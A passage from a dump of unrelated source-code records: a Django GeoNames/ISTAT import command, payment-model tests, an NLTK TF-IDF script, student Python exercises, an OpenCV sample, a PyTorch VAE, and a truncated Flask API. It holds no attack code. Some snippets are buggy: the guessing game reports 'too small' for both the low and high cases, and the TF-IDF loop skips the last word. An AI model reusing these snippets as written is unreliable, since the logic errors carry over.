Livenza\"] = \"Santo Stino di Livenza\"\nm[\"Vo'\"] = \"Vò\"\nm[\"Duino-Aurisina\"] = \"Duino Aurisina\"\nm[\"San Dorligo della Valle-Dolina\"] = \"San Dorligo della Valle\"\nm[\"Aquila d'Arroscia\"] = \"Aquila di Arroscia\"\nm[\"Cosio d'Arroscia\"] = \"Cosio di Arroscia\"\nm[\"Genova\"] = \"Genoa\"\nm[\"Luni\"] = \"Ortonovo\"\nm[\"Montescudo-Monte Colombo\"] = \"Montescudo - Montecolombo\"\nm[\"Civitella Paganico\"] = \"Civitella-Paganico\"\nm[\"Roma\"] = \"Roma Capitale\"\nm[\"San Giorgio La Molara\"] = \"San Giorgio la Molara\"\nm[\"Cassano all'Ionio\"] = \"Cassano allo Ionio\"\nm[\"San Vincenzo La Costa\"] = \"San Vincenzo la Costa\"\nm[\"Casali del Manco\"] = \"\"\nm[\"Reggio di Calabria\"] = \"Reggio Calabria\"\nm[\"Ionadi\"] = \"Jonadi\"\nm[\"Donori\"] = \"Donorì\"\n\n\nclass ICity:\n \"\"\"\n City field indexes in geonames.\n Description of fields: https://download.geonames.org/export/dump/readme.txt\n \"\"\"\n geonameid = 0\n name = 1\n asciiName = 2\n alternateNames = 3\n latitude = 4\n longitude = 5\n featureClass = 6\n featureCode = 7\n countryCode = 8\n cc2 = 9\n admin1Code = 10\n admin2Code = 11\n admin3Code = 12\n admin4Code = 13\n population = 14\n elevation = 15\n gtopo30 = 16\n timezone = 17\n modificationDate = 18\n\n\nclass IComuneItaliano:\n \"\"\"\n ComuneItaliano field indexes in ISTAT.\n \"\"\"\n Codice_Regione = 0\n Codice_Città_Metropolitana = 1\n Codice_Provincia_1 = 2\n Progressivo_del_Comune_2 = 3\n Codice_Comune_formato_alfanumerico = 4\n Denominazione_in_italiano = 5\n Denominazione_in_tedesco = 6\n Codice_Ripartizione_Geografica = 7\n Ripartizione_geografica = 8\n Denominazione_regione = 9\n Denominazione_Città_metropolitana = 10\n Denominazione_provincia = 11\n Flag_Comune_capoluogo_di_provincia = 12\n Sigla_automobilistica = 13\n Codice_Comune_formato_numerico = 14\n Codice_Comune_numerico_con_110_province_dal_2010_al_2016 = 15\n Codice_Comune_numerico_con_107_province_dal_2006_al_2009 = 16\n Codice_Comune_numerico_con_103_province_dal_1995_al_2005 = 17\n Codice_Catastale_del_comune = 18\n Popolazione_legale_2011_09_10_2011 = 19\n Codice_NUTS1_2010 = 20\n Codice_NUTS2_2010_3_ = 21\n Codice_NUTS3_2010 = 22\n Codice_NUTS1_2006 = 23\n Codice_NUTS2_2006_3 = 24\n Codice_NUTS3_2006 = 25\n\n\nclass Command(BaseCommand):\n help = '''Synchronize data from GeoNames\n '''\n\n def handle(self, *args, **options):\n log_every_n_records = 1000\n n_records = 0\n base_url = 'https://download.geonames.org/export/dump/'\n countries = settings.GEONAMES_INCLUDE_COUNTRIES\n countries_excluded = settings.GEONAMES_EXCLUDE_INSERT_COUNTRIES\n # Let's create country dictionary to save some queries:\n country_dict = {}\n for c in Country.objects.filter(code__in=countries):\n country_dict[c.code] = c\n try:\n # download the files\n for c in countries:\n if c not in countries_excluded:\n downloader = Downloader()\n if downloader.download(\n source=base_url + c + \".zip\",\n destination=settings.GEONAMES_DEST_PATH + c + \".zip\",\n force=False\n ):\n # extract the file\n zip_path = settings.GEONAMES_DEST_PATH + c + \".zip\"\n with ZipFile(zip_path, 'r') as myzip:\n myzip.extract(c + \".txt\", settings.GEONAMES_DEST_PATH)\n # Let's import them\n logger.debug(\"synchgeonames countries_excluded %s\" % countries_excluded)\n for c in countries:\n current_country_m_level = 0\n if municipality_levels[c] == 'PopulatedPlace':\n current_country_m_level = 5\n elif municipality_levels[c][:len('GeonamesAdm')] == 'GeonamesAdm':\n current_country_m_level = int(municipality_levels[c][len('GeonamesAdm'):])\n if current_country_m_level == 0:\n logger.warning(\"Country %s has no setting for municipality level\" % c.code)\n current_country = Country.objects.get(code=c)\n if (c not in countries_excluded) and not current_country.data_loaded:\n logger.debug(\"synchgeonames importing %s %s\" % (c, settings.GEONAMES_DEST_PATH + c + \".txt\"))\n with open(settings.GEONAMES_DEST_PATH + c + \".txt\", 'r') as geonames_file:\n csv_reader = csv.reader(geonames_file, delimiter='\\t', quotechar=\"\\\\\")\n # Let's work on adm1 first\n adm1_dict = {}\n for row in csv_reader:\n if row[ICity.featureCode] in settings.GEONAMES_ADM_TYPES and \\\n row[ICity.featureCode] == 'ADM1' \\\n and current_country_m_level>=1:\n if n_records % log_every_n_records == 0:\n logger.debug(\n \"synchgeonames importing adm1 %s %s. %s records\" % (row[ICity.countryCode], row[ICity.name], n_records))\n n_records += 1\n try:\n adm = GeonamesAdm1(name=row[ICity.name], code=row[ICity.admin1Code],\n country=country_dict[row[ICity.countryCode]])\n adm.save()\n adm1_dict[row[ICity.admin1Code]] = adm\n except Exception as ex:\n logger.error(\"Saving adm1 - %s - %s\" % (str(ex), str(row)))\n # adm2\n adm2_dict = {}\n geonames_file.seek(0)\n for row in csv_reader:\n if row[ICity.featureCode] in settings.GEONAMES_ADM_TYPES and \\\n row[ICity.featureCode] == 'ADM2'\\\n and current_country_m_level>=2:\n if n_records % log_every_n_records == 0:\n logger.debug(\n \"synchgeonames importing adm2 %s %s. %s records\" % (\n row[ICity.countryCode], row[ICity.name], n_records))\n n_records += 1\n try:\n adm = GeonamesAdm2(name=row[ICity.name], code=row[ICity.admin2Code],\n adm1=adm1_dict[row[ICity.admin1Code]])\n adm.save()\n adm2_dict[row[ICity.admin2Code]] = adm\n except Exception as ex:\n logger.error(\"Saving adm2 - %s - %s\" % (str(ex), str(row)))\n # adm3\n adm3_dict = {}\n geonames_file.seek(0)\n for row in csv_reader:\n if row[ICity.featureCode] in settings.GEONAMES_ADM_TYPES and \\\n row[ICity.featureCode] == 'ADM3'\\\n and current_country_m_level>=3:\n if n_records % log_every_n_records == 0:\n logger.debug(\n \"synchgeonames importing adm3 %s %s. %s records\" % (\n row[ICity.countryCode], row[ICity.name], n_records))\n n_records += 1\n try:\n adm = GeonamesAdm3(name=row[ICity.name], code=row[ICity.admin3Code],\n adm2=adm2_dict[row[ICity.admin2Code]])\n adm.save()\n adm3_dict[row[ICity.admin3Code]] = adm\n except Exception as ex:\n logger.error(\"Saving adm3 - %s - %s\" % (str(ex), str(row)))\n\n # adm4\n adm4_dict = {}\n geonames_file.seek(0)\n for row in csv_reader:\n if row[ICity.featureCode] in settings.GEONAMES_ADM_TYPES and \\\n row[ICity.featureCode] == 'ADM4'\\\n and current_country_m_level>=4:\n if n_records % log_every_n_records == 0:\n logger.debug(\n \"synchgeonames importing adm4 %s %s. %s records\" % (\n row[ICity.countryCode], row[ICity.name], n_records))\n n_records += 1\n try:\n if row[ICity.admin3Code]:\n adm = GeonamesAdm4(name=row[ICity.name], code=row[ICity.admin4Code],\n adm3=adm3_dict[row[ICity.admin3Code]])\n adm.save()\n adm4_dict[row[ICity.admin4Code]] = adm\n elif row[ICity.admin2Code]:\n adm = GeonamesAdm4(name=row[ICity.name], code=row[ICity.admin4Code],\n adm2=adm2_dict[row[ICity.admin2Code]])\n adm.save()\n adm4_dict[row[ICity.admin4Code]] = adm\n else:\n logger.warning(\"%s %s %s has neither admin3Code nor admin2Code\" %\n (row[ICity.name], row[ICity.featureCode], row[ICity.admin4Code]))\n except Exception as ex:\n logger.error(\"Saving adm4 - %s - %s\" % (str(ex), str(row)))\n # adm5\n geonames_file.seek(0)\n for row in csv_reader:\n if row[ICity.featureCode] in settings.GEONAMES_ADM_TYPES and \\\n row[ICity.featureCode] == 'ADM5'\\\n and current_country_m_level>=5:\n if n_records % log_every_n_records == 0:\n logger.debug(\n \"synchgeonames importing adm5 %s %s. %s records\" % (row[ICity.countryCode], row[ICity.name], n_records))\n n_records += 1\n try:\n adm = GeonamesAdm5(name=row[ICity.name], adm4=adm4_dict[row[ICity.admin4Code]])\n adm.save()\n except Exception as ex:\n logger.error(\"Saving adm5 - %s - %s\" % (str(ex), str(row)))\n # populated places\n geonames_file.seek(0)\n for row in csv_reader:\n if row[ICity.featureCode] in settings.GEONAMES_INCLUDE_CITY_TYPES \\\n and current_country_m_level>=5:\n if n_records % log_every_n_records == 0:\n logger.debug(\n \"synchgeonames importing ppl %s %s. %s records\" % (row[ICity.countryCode], row[ICity.name], n_records))\n n_records += 1\n try:\n pp = PopulatedPlace(name=row[ICity.name], feature_code=row[ICity.featureCode],\n country=country_dict[row[ICity.countryCode]])\n if row[ICity.admin1Code]:\n try:\n pp.adm1 = adm1_dict[row[ICity.admin1Code]]\n except:\n pass\n if row[ICity.admin2Code]:\n try:\n pp.adm2 = adm2_dict[row[ICity.admin2Code]]\n except:\n pass\n if row[ICity.admin3Code]:\n try:\n pp.adm3 = adm3_dict[row[ICity.admin3Code]]\n except:\n pass\n if row[ICity.admin4Code]:\n try:\n pp.adm4 = adm4_dict[row[ICity.admin4Code]]\n except:\n pass\n pp.save()\n except Exception as ex:\n logger.error(\"Saving PopulatedPlace - %s - %s\" % (str(ex), str(row)))\n\n current_country.data_loaded = True\n current_country.save()\n if c == 'IT' and c not in countries_excluded:\n '''\n ' I use the permalink to the ISTAT list of Italian municipalities to add to adm3 the field \n ' Codice Catastale\n '''\n istat_permalink = \"https://www.istat.it/storage/codici-unita-amministrative/Elenco-comuni-italiani.csv\"\n downloader = Downloader()\n if downloader.download(\n source=istat_permalink,\n destination=settings.GEONAMES_DEST_PATH + \"Elenco-comuni-italiani.csv\",\n force=False\n ):\n with open(settings.GEONAMES_DEST_PATH + \"Elenco-comuni-italiani.csv\", 'r', encoding = \"ISO-8859-1\") as istat_file:\n csv_reader = csv.reader(istat_file, delimiter=';', quotechar=\"\\\\\")\n digits_as_string = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']\n for row in csv_reader:\n # Let's loop on data from ISTAT\n # if first column value is a number\n if len(row[0]) and row[0][0] in digits_as_string:\n # and search on existing geonames records\n '''\n ' Year 2017, Sardinian towns have changed province, we try filtering just on names\n ' if we find more than one record we also filter on province (this case won't work\n ' with Sardinian towns, that's why we try it as a second option)\n '''\n # Some italian names are different so there is a mapping dictionary\n italian_name = row[IComuneItaliano.Denominazione_in_italiano]\n if italian_name in m.keys() and m[italian_name] != \"\":\n italian_name = m[italian_name]\n if GeonamesAdm3.objects.filter(\n Q(name=italian_name)|\n Q(name=row[IComuneItaliano.Denominazione_in_tedesco])\n ).exists():\n try:\n if GeonamesAdm3.objects.filter(\n Q(name=italian_name)|\n Q(name=row[IComuneItaliano.Denominazione_in_tedesco])\n ).count() == 1:\n adm3 = GeonamesAdm3.objects.get(\n Q(name=italian_name) |\n Q(name=row[IComuneItaliano.Denominazione_in_tedesco])\n )\n else:\n adm3 = GeonamesAdm3.objects.filter(\n Q(name=italian_name)|\n Q(name=row[IComuneItaliano.Denominazione_in_tedesco])\n ).get(adm2__code=row[IComuneItaliano.Sigla_automobilistica])\n adm3.name = row[IComuneItaliano.Denominazione_in_italiano]\n # Let's use ISTAT names ( geonames has Genoa instead of Genova, ISTAT has\n # it right )\n adm3.it_codice_catastale = row[IComuneItaliano.Codice_Catastale_del_comune]\n adm3.save()\n except Exception as ex:\n logger.error(\n \"%s-%s is in ISTAT's Elenco-comuni-italiani.csv. In Adm3 gave error: %s\"\n % (italian_name,\n row[IComuneItaliano.Denominazione_in_tedesco], str(ex)))\n else:\n logger.warning(\"%s-%s is in ISTAT's Elenco-comuni-italiani.csv but not in Adm3\"\n % (row[IComuneItaliano.Denominazione_in_italiano],\n italian_name))\n\n\n except Exception as ex:\n logger.error(\"Error %s - %s\" % (str(ex), str(row)))\n pass","sub_path":"geonames/management/commands/synchgeonames.py","file_name":"synchgeonames.py","file_ext":"py","file_size_in_byte":21025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"40676085","text":"#!/usr/bin/python3\nimport platform\n\nprint('Python {}'.format(platform.python_version()))\n\nimport sys\nprint('File Location {}'.format(sys.argv[0]))\n\n\"\"\"\ninstall with \npip3 install -e .\nor \npip3 install .\ndon't forget the trailing dot!\n\"\"\"\n\nimport simple_import.importme as testme\nimport sys\nfrom PyQt5.QtWidgets import QApplication, QWidget, QLabel, QMainWindow\nfrom PyQt5.QtGui import QIcon\nfrom PyQt5.QtCore import Qt\n\nclass Example(QMainWindow):\n def __init__(self):\n super().__init__()\n self.initUI()\n\n def initUI(self):\n self.setGeometry(300, 300, 300, 220)\n self.setWindowTitle(testme.title())\n versionLb = QLabel('Python {}'.format(platform.python_version()), self)\n versionLb.setAlignment(Qt.AlignCenter)\n self.setCentralWidget(versionLb)\n self.show()\n\ndef main():\n app = QApplication(sys.argv)\n ex = Example()\n sys.exit(app.exec_())\n\nif __name__ == '__main__':\n main()\n","sub_path":"simple_import/simple_import.py","file_name":"simple_import.py","file_ext":"py","file_size_in_byte":951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"465122505","text":"from collections import namedtuple\nfrom django_fsm import TransitionNotAllowed\nfrom mock import patch\n\nfrom bluebottle import clients\nfrom bluebottle.payments.services import PaymentService\nfrom bluebottle.test.factory_models.donations import DonationFactory\nfrom bluebottle.test.factory_models.orders import OrderFactory\nfrom bluebottle.test.factory_models.payments import (PaymentFactory,\n OrderPaymentFactory)\nfrom bluebottle.test.utils import BluebottleTestCase\nfrom bluebottle.utils.utils import StatusDefinition\n\n\nclass PaymentTestCase(BluebottleTestCase):\n def setUp(self):\n super(PaymentTestCase, self).setUp()\n self.init_projects()\n\n self.order = OrderFactory.create()\n self.order_payment = OrderPaymentFactory.create(order=self.order)\n\n def test_status_details(self):\n self.assertEqual(self.order_payment.status_description, \"\")\n self.assertEqual(self.order_payment.status_code, \"\")\n\n def test_basic_order_payment_flow(self):\n self.assertEqual(self.order.status, StatusDefinition.LOCKED,\n 'Creating an Order Payment should change Order to locked')\n\n self.assertEqual(self.order_payment.status, StatusDefinition.CREATED,\n 'Order Payment should start with created status')\n\n self.order_payment.started()\n self.order_payment.save()\n\n self.assertEqual(self.order.status, StatusDefinition.LOCKED,\n 'Starting an Order Payment should change Order to locked')\n self.assertEqual(self.order_payment.status, StatusDefinition.STARTED,\n 'Starting an Order Payment should change status to started')\n\n self.order_payment.authorized()\n self.order_payment.save()\n self.assertEqual(self.order.status, StatusDefinition.PENDING,\n 'Authorizing an Order Payment should change Order to pending')\n self.assertEqual(self.order_payment.status, StatusDefinition.AUTHORIZED,\n 'Authorizing an Order Payment should status to authorized')\n\n self.order_payment.settled()\n self.order_payment.save()\n self.assertEqual(self.order.status, StatusDefinition.SUCCESS,\n 'Settling an Order Payment should change Order to success')\n self.assertEqual(self.order_payment.status, StatusDefinition.SETTLED,\n 'Settling an Order Payment should change status to settled')\n\n def test_invalid_order_payment_flow(self):\n self.order_payment.started()\n self.order_payment.save()\n self.order_payment.authorized()\n self.order_payment.save()\n\n # Try to transition back to started\n with self.assertRaises(TransitionNotAllowed):\n self.order_payment.started()\n self.order_payment.save()\n\n # Try to transition to cancelled\n with self.assertRaises(TransitionNotAllowed):\n self.order_payment.cancelled()\n self.order_payment.save()\n\n self.assertEqual(self.order.status, StatusDefinition.PENDING,\n 'A failed Order Payment transition should not change Order status')\n\n def test_payment_status_changes(self):\n self.payment = PaymentFactory.create(order_payment=self.order_payment)\n\n self.assertEqual(self.order_payment.status, StatusDefinition.STARTED,\n 'Starting a Payment should change Order Payment to started')\n\n self.payment.status = StatusDefinition.AUTHORIZED\n self.payment.save()\n self.assertEqual(self.order_payment.status, StatusDefinition.AUTHORIZED,\n 'Authorizing a Payment should change Order Payment to authorized')\n self.assertEqual(self.order.status, StatusDefinition.PENDING,\n 'Authorizing a Payment should change Order Payment to pending')\n\n def test_bad_payment_status_changes(self):\n self.payment = PaymentFactory.create(order_payment=self.order_payment)\n self.payment.status = StatusDefinition.AUTHORIZED\n self.payment.save()\n\n self.assertEqual(self.order_payment.status, StatusDefinition.AUTHORIZED,\n 'Authorizing a Payment should change Order Payment to authorized')\n\n self.payment.status = StatusDefinition.STARTED\n\n # Starting an authorized Payment should not change Order Payment status\n with self.assertRaises(TransitionNotAllowed):\n self.payment.save()\n\n self.assertEqual(self.payment.order_payment.status,\n StatusDefinition.AUTHORIZED,\n 'Starting an authorized Payment should not change Order Payment status')\n\n self.assertEqual(self.payment.order_payment.order.status,\n StatusDefinition.PENDING,\n 'Starting an authorized Payment should not change Order status')\n\n def test_info_text(self):\n self.assertEqual(\n self.order_payment.info_text,\n 'testserver via goodup {id}'.format(\n id=self.order_payment.id)\n )\n\n @patch.object(clients.utils, 'tenant_site')\n def test_info_text_onepercentclub(self, tenant_site_mock):\n tenant_site_mock.return_value = namedtuple(\n 'Site', ['name', 'domain']\n )('1% club', 'onepercentclub.com')\n\n self.assertEqual(\n self.order_payment.info_text,\n 'onepercentclub.com donation {id}'.format(id=self.order_payment.id)\n )\n\n def test_multiple_payments_to_an_order(self):\n \"\"\"\n Test that a second order_payment can't transition an successful order.\n \"\"\"\n\n second_order_payment = OrderPaymentFactory.create(order=self.order)\n\n self.order_payment.started()\n self.order_payment.authorized()\n self.order_payment.settled()\n self.order_payment.save()\n\n # Order should be successful now\n self.assertEqual(self.order.status, 'success')\n\n second_order_payment.started()\n second_order_payment.save()\n second_order_payment.failed()\n second_order_payment.save()\n\n # Order should still be successful\n self.assertEqual(self.order.status, 'success')\n\n\nclass OrderPaymentTestCase(BluebottleTestCase):\n def setUp(self):\n super(OrderPaymentTestCase, self).setUp()\n self.init_projects()\n\n self.order = OrderFactory.create()\n self.donation = DonationFactory(amount=60, order=self.order)\n self.order_payment = OrderPaymentFactory.create(order=self.order)\n\n def test_order_payment_amount(self):\n \"\"\"\n Check that order payment amount is updated post-save when\n the order amount has changed.\n \"\"\"\n self.donation.amount = 20\n self.donation.save()\n self.order.save()\n\n self.order_payment.save()\n self.assertEqual(self.order_payment.amount.amount, 20)\n\n\nclass PaymentFeeTestCase(BluebottleTestCase):\n def setUp(self):\n super(PaymentFeeTestCase, self).setUp()\n self.init_projects()\n\n self.order = OrderFactory.create()\n self.donation = DonationFactory(amount=60, order=self.order)\n self.order_payment = OrderPaymentFactory.create(order=self.order)\n\n def test_fixed_transaction_fee(self):\n \"\"\"\n Check that the flat 0.75 mockIdeal fee is set\n \"\"\"\n self.order_payment.payment_method = 'mockIdeal'\n self.order_payment.save()\n PaymentService(self.order_payment)\n self.assertEqual(self.order_payment.transaction_fee, 0.75)\n\n def test_relative_transaction_fee(self):\n \"\"\"\n Check that the 3.25% mockCard fee is calculated\n \"\"\"\n self.assertEqual(self.order.total.amount, 60)\n self.order_payment.payment_method = 'mockCard'\n self.order_payment.save()\n PaymentService(self.order_payment)\n self.assertEqual(self.order_payment.transaction_fee, 1.95)\n\n def test_changing_fee_when_changing_payment_method(self):\n \"\"\"\n Check that the fee changes when we change payment method\n \"\"\"\n self.order_payment.payment_method = 'mockIdeal'\n self.order_payment.save()\n PaymentService(self.order_payment)\n self.assertEqual(self.order_payment.transaction_fee, 0.75)\n self.order_payment.payment_method = 'mockCard'\n self.order_payment.save()\n self.assertEqual(self.order_payment.transaction_fee, 1.95)\n\n\nclass UtilsTestCase(BluebottleTestCase):\n def test_trim_url(self):\n from ..models import trim_tenant_url\n\n tenant_url = 'www.holycrapthisisareallyreallylongurl.com'\n max_length = 30\n\n new_url = trim_tenant_url(max_length, tenant_url)\n self.assertEqual(len(new_url), max_length)\n self.assertTrue('...' in new_url)\n","sub_path":"bluebottle/payments/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":8902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"224309869","text":"import numpy as np\nimport nltk\nimport string\nimport os\nimport sys\nfrom collections import Counter\nfrom nltk.corpus import stopwords\nfrom nltk.stem.porter import *\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nnp.set_printoptions(threshold=np.inf)\n\nfiles = \"\"\ndef get_tokens():\n with open('/home/amrita/test_song.txt', 'r') as shakes:\n text = shakes.read()\n lowers = text.lower()\n #remove the punctuation using the character deletion step of translate\n no_punctuation = lowers.translate(str.maketrans('','',string.punctuation))\n tokens = nltk.word_tokenize(no_punctuation)\n return tokens\n\n\ndef stem_tokens(tokens, stemmer):\n stemmed = []\n for item in tokens:\n stemmed.append(stemmer.stem(item))\n return stemmed\n\n\nzero=0\nsongs = []\nfor i in range(1,200):\n songs.append('song'+str(i)+'.txt')\n\ntoken_dict = {}\npath = '/home/amrita/'\nstemmer = PorterStemmer()\n\ntokens = get_tokens()\nfiltered = [w for w in tokens if not w in stopwords.words('english')]\nstemmed = stem_tokens(filtered, stemmer)\ncount = Counter(stemmed)\na1 = count.most_common(100) \na = np.array(stemmed)\n\nfor l in a:\n print(l)\n\ndef tokenize(text):\n tokens = nltk.word_tokenize(text)\n stems = stem_tokens(tokens, stemmer)\n return stems\n\n\nfor files in songs: \n shakes = open(files, 'r')\n text = shakes.read()\n lowers = text.lower()\n no_punctuation = lowers.translate(str.maketrans(' ',' ', string.punctuation))\n token_dict[1] = no_punctuation\n tfidf = TfidfVectorizer(tokenizer=tokenize, stop_words='english')\n tfs = tfidf.fit_transform(token_dict.values()) \n feature_names = tfidf.get_feature_names()\n vector = []\n words = []\n for col in tfs.nonzero()[1]:\n vector.append(tfs[0, col])\n words.append(feature_names[col])\n b = np.array(feature_names)\n print(vector)\n print(words)\n dicword = {}\n v = []\n for i in range(len(words)-1):\n dicword[words[i]] = vector[i]\n print(dicword)\n for word in a:\n if word in dicword:\n v.append(float(dicword[word]))\n else:\n v.append(float(zero))\n print(v)\n \n","sub_path":"token.py","file_name":"token.py","file_ext":"py","file_size_in_byte":2142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"216834385","text":"# 1.改造练习1的程序,实现循环判断用户输入的字符是数字字符,字母字符还是其他字符,当输入exit, 退出程序。\n\nfrom sys import exit\n\nwhile True:\n string = input('请输入字符:')\n \n if string.isdigit() == True:\n print('数字字符')\n elif string.isalpha() == True and string != 'exit':\n print('字母字符')\n elif string == 'exit':\n exit(0)\n else:\n print('其它字符')\n\n# 可以改进:把exit的判断放在if那里,然后elif那里就不用and balabala...\n \n# 2.P121 4.1题 猜数游戏\n\nimport random\n\ntime = 0\nnum = random.randrange(1,10)\n\ndef loop():\n \n if inp == num:\n print(f'猜测{time}次,你猜中了!')\n exit(0)\n if inp < num:\n print(f'遗憾,太小了。')\n if inp > num:\n print(f'遗憾,太小了。')\n\nprint('这是一个猜数游戏,请猜一个整数。\\n')\n\nwhile True:\n\n try:\n inp = int(input('请输入猜测的数:'))\n time += 1\n loop()\n \n except ValueError:\n print('嘿,输入一个整数!') \n\n# 3.勾股定理中3个数的关系是a2+b2=c2,编写一个程序,统计30以内满足上述条件的整数组合个数,如3、4、5就是一个组合。\n\ni = 0\n\nfor a in range(1,31):\n \n for b in range(a+1,31):\n \n for c in range(b+1,31):\n \n if a*a+b*b == c*c:\n i += 1\n print(f'第{i}个组合:{a}²+{b}²={c}²')\n \n\nprint(f'共{i}个组合。')","sub_path":"fopp/191012hw.py","file_name":"191012hw.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"78911363","text":"# We will learn the concepts of histogram equalization and use it to improve the contrast of our images.\n\n# histogram equalization is a way to enhance contrast\n\n\n\nimport numpy as np\nimport cv2\nfrom matplotlib import pyplot as plt\n\nimg = cv2.imread('../../images/lenna.png')\nimg_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\nequ = cv2.equalizeHist(img_gray)\nstitched = np.hstack((img_gray,equ)) #stacking images side-by-side\n\ncv2.imshow('img', stitched)\ncv2.waitKey(0)\n\n\n# ====== BUT this gloabal equalization is not ideal(make bright things brighter)\n# here is an algorithm called CLAHE (Contrast Limited Adaptive Histogram Equalization)\n\n# create a CLAHE object (Arguments are optional).\nclahe = cv2.createCLAHE(clipLimit=2.0, tileGridSize=(8,8))\ncl1 = clahe.apply(img_gray)\n\ncv2.imshow('img', cl1)\ncv2.waitKey(0)\n\n","sub_path":"cv_sample_official/5_image_processing/10_Histograms/2_equalization.py","file_name":"2_equalization.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"195980592","text":"import os\nimport sys\nimport torch\nimport numpy as np\nfrom torchvision import transforms, utils, datasets\nfrom torch import nn, optim\nfrom torch.autograd import Variable\n\nsx = 128\nimgsize = sx*sx*3\nnusers = 100\n\n\nclass VAE(nn.Module):\n def __init__(self, image_size=imgsize, h_dim=600, z_dim=256):\n super(VAE, self).__init__()\n self.encoder = nn.Sequential(\n nn.Linear(image_size, h_dim*2),\n nn.ReLU(), # nn.LeakyReLU(0.2),\n nn.Linear(h_dim*2, int(h_dim*1.5)),\n nn.ReLU(), # nn.LeakyReLU(0.2),\n nn.Linear(int(h_dim*1.5), h_dim),\n nn.ReLU(), # nn.LeakyReLU(0.2),\n nn.Linear(h_dim, z_dim*2)) # 2 for mean and variance.\n\n self.decoder = nn.Sequential(\n nn.Linear(z_dim, h_dim),\n nn.ReLU(),\n nn.Linear(h_dim, int(h_dim*1.5)),\n nn.ReLU(),\n nn.Linear(int(h_dim*1.5), h_dim*2),\n nn.ReLU(),\n nn.Linear(h_dim*2, image_size),\n nn.Sigmoid())\n\n self.useremb = nn.Embedding(nusers, z_dim)\n\n def reparameterize(self, mu, log_var):\n \"\"\"\"z = mean + eps * sigma where eps is sampled from N(0, 1).\"\"\"\n eps = to_var(torch.randn(mu.size(0), mu.size(1)))\n z = mu + eps * torch.exp(log_var/2) # 2 for convert var to std\n return z\n\n def getReconImg(self, imgs):\n h = self.encoder(imgs)\n mu, log_var = torch.chunk(h, 2, dim=1) # mean and log variance.\n z = self.reparameterize(mu, log_var)\n reconimgs = self.decoder(z)\n return reconimgs, mu, log_var\n\n def reconImgFromEmb(self, zs):\n reconimgs = self.decoder(zs)\n return reconimgs\n\n def getUserEmb(self, uidxs):\n return self.useremb(uidxs)\n\n def getImgEmb(self, imgs):\n h = self.encoder(imgs)\n mu, log_var = torch.chunk(h, 2, dim=1) # mean and log variance.\n z = self.reparameterize(mu, log_var)\n return z, mu, log_var\n\n def forward(self, imgs, uids):\n h = self.encoder(imgs)\n mu, log_var = torch.chunk(h, 2, dim=1) # mean and log variance.\n z = self.reparameterize(mu, log_var)\n reconimgs = self.decoder(z)\n\n # get user embeddings\n usz = self.useremb(uids)\n pratings = (z*usz).sum(1)\n\n return reconimgs, usz, pratings, mu, log_var\n\n def sample(self, z):\n return self.decoder(z)\n","sub_path":"backend/domain/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"316574290","text":"\"\"\"\n:Author: Saahith Pochiraju <saahith116@gmail.com>\n:Date: 2018-08-13\n:Copyright: 2018, Karr Lab\n:License: MIT\n\"\"\"\n\nfrom flask_restplus import Api, Resource, reqparse\nimport json\nfrom flask import Blueprint, Response, render_template, make_response\nfrom datanator.core import common_schema, models\nfrom datanator.api.lib.search.manager import search_manager\nfrom datanator.api.lib.metabolite.manager import metabolite_manager\nfrom datanator.api.lib.subunit.manager import subunit_manager\nfrom datanator.api.lib.complex.manager import complex_manager\nfrom datanator.api.lib.reaction.manager import reaction_manager\nfrom datanator.api.serializer import *\nfrom datanator.util.constants import DATA_CACHE_DIR\nimport json\nimport os\n\n\n\napi_blueprint = Blueprint('api', __name__, url_prefix='/api')\napi = Api(api_blueprint, version='0.0', title='Datanator API',\n description='Providing Data for Modelers', doc='/docs/')\n\nparser = reqparse.RequestParser()\nparser.add_argument('download', type=bool, default=False)\n\n# @api.representation('text/html')\n# def output_html(data, code, headers=None):\n# resp = make_response(render_template('api/api.html', content = json.dumps(data, sort_keys=True, indent=4)), code)\n# resp.headers.extend(headers or {})\n# return resp\n\n@api.representation('application/json')\ndef output_json(data, code, headers=None):\n resp = make_response(json.dumps(data, sort_keys=True, indent=4), code)\n resp.headers.extend(headers or {})\n return resp\n\n\nclass Search(Resource):\n\n @api.doc(params={'value': 'Value to search for over the database',\n 'download': 'Boolean option to download content'})\n def get(self, value):\n search_dict = search_manager.search(value)\n\n serialized_metabolites = MetaboliteSerializer().dump(search_dict['Metabolite'], many=True)\n serialized_complexes = ProteinComplexSerializer().dump(search_dict['ProteinComplex'], many=True)\n serialized_subunits = ProteinSubunitSerializer().dump(search_dict['ProteinSubunit'], many=True)\n serialized_reactions = ReactionSerializer().dump(search_dict['Reaction'], many=True)\n\n headers = {}\n if parser.parse_args()['download'] == True:\n headers['Content-Disposition'] = \"attachment; filename={0}.json\".format(value)\n\n return {'metabolites': serialized_metabolites.data,\n 'complexes': serialized_complexes.data,\n 'subunits': serialized_subunits.data,\n 'reactions': serialized_reactions.data}, 200, headers\n\nclass MetaboliteSearch(Resource):\n @api.doc(params={'value': 'Value to search over in the metabolite space',\n 'download': 'Boolean option to download content'})\n def get(self,value):\n metabolite_search = metabolite_manager._search_complex(value)\n serialized_metabolites = MetaboliteSerializer().dump(metabolite_search, many=True)\n\n headers = {}\n if parser.parse_args()['download'] == True:\n headers['Content-Disposition'] = \"attachment; filename={0}.json\".format(value)\n\n return {'metabolites': serialized_metabolites.data}, 200, headers\n\nclass ProteinSubunitSearch(Resource):\n @api.doc(params={'value': 'Value to search over in the protein subunit space',\n 'download': 'Boolean option to download content'})\n def get(self,value):\n subunit_search = subunit_manager._search_complex(value)\n 